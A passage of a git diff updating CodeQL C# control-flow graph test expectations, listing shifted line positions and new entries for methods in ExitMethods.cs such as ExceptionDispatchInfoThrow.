ExitMethods.cs:62:9:62:23 | ...; | ExitMethods.cs:60:10:60:11 | M8 | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (abnormal) | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:69:13:69:34 | throw ...; | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:75:13:75:34 | throw ...; | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:77:13:77:45 | throw ...; | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:81:5:83:5 | {...} | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:82:9:82:30 | throw ...; | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:82:15:82:29 | object creation of type Exception | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:17:85:28 | ErrorAlways3 | +| ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 | ExitMethods.cs:85:17:85:28 | ErrorAlways3 | +| ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:85:17:85:28 | ErrorAlways3 | +| ExitMethods.cs:85:35:85:55 | throw ... | ExitMethods.cs:85:17:85:28 | ErrorAlways3 | +| ExitMethods.cs:85:41:85:55 | object creation of type Exception | ExitMethods.cs:85:17:85:28 | ErrorAlways3 | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:87:10:87:13 | exit Exit | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:88:5:90:5 | {...} | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:89:9:89:27 | call to method Exit | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:89:9:89:28 | ...; | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:89:26:89:26 | 0 | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:92:10:92:18 | exit ExitInTry | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:93:5:103:5 | {...} | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:94:9:102:9 | try {...} ... | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:95:9:97:9 | {...} | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:96:13:96:18 | call to method Exit | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:96:13:96:18 | this access | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:96:13:96:19 | ...; | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:105:10:105:24 | exit ApplicationExit | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:106:5:108:5 | {...} | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:107:9:107:47 | call to method Exit | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:107:9:107:48 | ...; | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr (abnormal) | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr (normal) | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:16:112:20 | access to parameter input | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:25:112:25 | 0 | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:25:112:25 | (...) ... | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:29:112:29 | (...) ... | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:29:112:37 | ... / ... | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:33:112:37 | access to parameter input | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:41:112:76 | throw ... | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:116:5:118:5 | {...} | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:9:117:39 | return ...; | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:16:117:16 | access to parameter s | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:27:117:29 | - | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:120:17:120:32 | exit FailingAssertion | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:122:9:122:29 | ...; | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:128:9:128:26 | this access | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:128:9:128:27 | ...; | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse (abnormal) | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse (normal) | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:136:9:136:25 | this access | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | ToInt32 | | Extensions.cs:5:23:5:29 | exit ToInt32 | Extensions.cs:5:23:5:29 | ToInt32 | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:5:23:5:29 | ToInt32 | @@ -5069,50 +5085,54 @@ blockEnclosing | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:143:10:143:12 | M11 | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:17:84:28 | ErrorAlways3 | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:60:10:60:11 | M8 | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:66:17:66:26 | ErrorMaybe | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:72:17:72:27 | ErrorAlways | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:80:17:80:28 | ErrorAlways2 | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:17:85:28 | ErrorAlways3 | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:87:10:87:13 | Exit | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:92:10:92:18 | ExitInTry | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:105:10:105:24 | ApplicationExit | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:110:13:110:21 | ThrowExpr | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:120:17:120:32 | FailingAssertion | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:126:17:126:33 | FailingAssertion2 | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:10:132:20 | AssertFalse | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | ToInt32 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | ToBool | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | CallToInt32 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index 610c8d7f8eb..86819e6601b 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -1149,132 +1149,145 @@ | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:40:149:43 | "b = " | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:40:149:43 | "b = " | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:45:149:45 | access to local variable s | -| ExitMethods.cs:8:5:11:5 | {...} | ExitMethods.cs:8:5:11:5 | {...} | -| ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | ExitMethods.cs:9:20:9:23 | true | -| ExitMethods.cs:9:9:9:25 | ...; | ExitMethods.cs:9:9:9:25 | ...; | -| ExitMethods.cs:9:20:9:23 | true | ExitMethods.cs:9:20:9:23 | true | -| ExitMethods.cs:10:9:10:15 | return ...; | ExitMethods.cs:10:9:10:15 | return ...; | -| ExitMethods.cs:14:5:17:5 | {...} | ExitMethods.cs:14:5:17:5 | {...} | -| ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | ExitMethods.cs:15:20:15:24 | false | -| ExitMethods.cs:15:9:15:26 | ...; | ExitMethods.cs:15:9:15:26 | ...; | -| ExitMethods.cs:15:20:15:24 | false | ExitMethods.cs:15:20:15:24 | false | -| ExitMethods.cs:16:9:16:15 | return ...; | ExitMethods.cs:16:9:16:15 | return ...; | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:20:5:23:5 | {...} | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:21:21:21:24 | true | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:21:9:21:26 | ...; | -| ExitMethods.cs:21:21:21:24 | true | ExitMethods.cs:21:21:21:24 | true | -| ExitMethods.cs:22:9:22:15 | return ...; | ExitMethods.cs:22:9:22:15 | return ...; | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:26:5:29:5 | {...} | -| ExitMethods.cs:27:9:27:14 | call to method Exit | ExitMethods.cs:27:9:27:14 | this access | -| ExitMethods.cs:27:9:27:14 | this access | ExitMethods.cs:27:9:27:14 | this access | -| ExitMethods.cs:27:9:27:15 | ...; | ExitMethods.cs:27:9:27:15 | ...; | -| ExitMethods.cs:28:9:28:15 | return ...; | ExitMethods.cs:28:9:28:15 | return ...; | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:32:5:35:5 | {...} | -| ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | ExitMethods.cs:33:9:33:25 | this access | -| ExitMethods.cs:33:9:33:25 | this access | ExitMethods.cs:33:9:33:25 | this access | -| ExitMethods.cs:33:9:33:26 | ...; | ExitMethods.cs:33:9:33:26 | ...; | -| ExitMethods.cs:34:9:34:15 | return ...; | ExitMethods.cs:34:9:34:15 | return ...; | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:38:5:51:5 | {...} | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:39:9:50:9 | try {...} ... | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:40:9:42:9 | {...} | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:41:25:41:29 | false | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:41:13:41:31 | ...; | -| ExitMethods.cs:41:25:41:29 | false | ExitMethods.cs:41:25:41:29 | false | -| ExitMethods.cs:43:9:46:9 | catch (...) 